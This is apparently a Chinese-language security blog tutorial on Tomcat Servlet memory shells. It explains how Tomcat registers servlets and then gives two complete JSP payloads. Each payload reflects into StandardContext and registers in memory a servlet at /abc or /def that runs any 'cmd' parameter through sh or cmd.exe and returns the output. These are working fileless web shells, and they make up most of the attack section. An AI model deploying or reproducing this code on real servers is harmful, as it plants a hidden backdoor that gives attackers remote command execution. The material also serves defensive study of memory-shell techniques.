0x00 前言
Servlet内存马原理比较复杂,本文会讲的繁琐一些。
0x01 Servlet流程分析
demo
demo1:实现Servlet接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package com.servlet;
import jakarta.servlet.*; import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
@WebServlet(name = "servlet1", value = "/servlet1") public class Servlet1 implements Servlet { @Override public void init(ServletConfig servletConfig) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} }
|
demo2:继承HttpServlet类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.servlet;
import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
@WebServlet(name = "servlet2", value = "/servlet2") public class Servlet2 extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { }
public void destroy() { } }
|
不管是哪个demo,都可以在对应方法执行危险代码。本文主要使用demo1进行调试分析。
配置Servlet
还是熟悉的StandardContext类,熟悉的startInternal方法。
startInternal方法会调用fireLifecycleEvent方法加载Web.xml的各项配置,包括Listener,Filter,Servlet。
这里补充一点,我使用Tomcat10.1.40,无需在Web.xml配置Servlet等,直接在对应类写路由即可,但是走的逻辑与写在Web.xml的情况下一致。
由于Java层层封装的特性,我们需要走好几层方法,最后走到ContextConfig类的configureContext方法。我们需要关注有关配置Servlet的相关代码:

- 对于每一个ServletDef,创建一个Wrapper
- 在Wrapper里配置Servlet的servletName,servletClass等配置,包括放入Servlet
- 把wrapper放入StandardContext里
- 在StandardContext里配置Servlet对应的路由映射
上面五步,即是系统配置Servlet的相关流程,而我们写内存马,本质上就是模仿系统的这些流程。所以我们写Servlet型内存马,也是需要完成上面四步。
不着急写内存马,回到StandardContext的startInternal方法,接着往下看:

这与我们先前学习的Filter型内存马、Listener型内存马的调试是不是关联起来了。
先加载Listener,再加载Filter,最后加载Servlet,这其实也是请求访问的顺序:Listener->Filter->Servlet。
然后就没什么好注意的了。
0x02 构造内存马
把上面的四个步骤略作修改,就是构造内存马的步骤:
- 编写恶意Servlet
- 获得StandardContext
- 通过StandardContext获得Wrapper
- 在Wrapper里配置Servlet的servletName,servletClass等配置,包括放入Servlet(这一步在上图中找不到对应代码,但是必须要放入Servlet)。
- 把wrapper放入StandardContext里
- 在StandardContext里配置Servlet对应的路由映射
demo1内存马对应的jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <%@ page import="java.util.Scanner" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%! public class Servlet1 implements Servlet { @Override public void init(ServletConfig servletConfig) throws ServletException { }
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse resp =(HttpServletResponse) servletResponse; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } }
@Override public String getServletInfo() { return null; }
@Override public void destroy() { } } %>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Wrapper wrapper = standardContext.createWrapper(); Servlet1 servlet1 = new Servlet1(); String name = servlet1.getClass().getSimpleName(); wrapper.setName(name); wrapper.setServletClass(Servlet1.class.getName()); wrapper.setServlet(servlet1); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/abc", name); %>
|
demo2内存马对应的jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%! public class Servlet2 extends HttpServlet { private String message;
public void init() { }
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp =(HttpServletResponse) response; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } }
public void destroy() { } } %>
<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Wrapper wrapper = standardContext.createWrapper(); Servlet2 servlet2 = new Servlet2(); String name = servlet2.getClass().getSimpleName(); wrapper.setName(name); wrapper.setServletClass(Servlet2.class.getName()); wrapper.setServlet(servlet2); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/def", name); %>
|
0x03 补充
补充内容不影响上面内存马的工作
有些师傅会在jsp编写中加入一行代码:
1
| wrapper.setLoadOnStartup(1);
|
对应standardContext的这段代码:

我们知道,每一个Servlet都被封装到一个Wrapper,那么多个Wrapper按照什么顺序加载呢?
Wrapper的loadOnStartUp属性作用如下:
标记容器是否在启动的时候就加载这个 servlet。 当值为 0 或者大于 0 时,表示容器在应用启动时就加载这个 servlet; 当是一个负数时或者没有指定时,则指示容器在该 servlet 被选择时才加载。 正数的值越小,启动该 servlet 的优先级越高。
我们需要指示容器在该 servlet 被选择时才加载,又最好是最先加载,那么就设置loadOnStartUp=1。
但是不设置也不影响内存马的执行。
0x04 Reference
Java安全学习——内存马 - 枫のBlog
Java内存马系列-05-Tomcat 之 Servlet 型内存马 | Drunkbaby’s Blog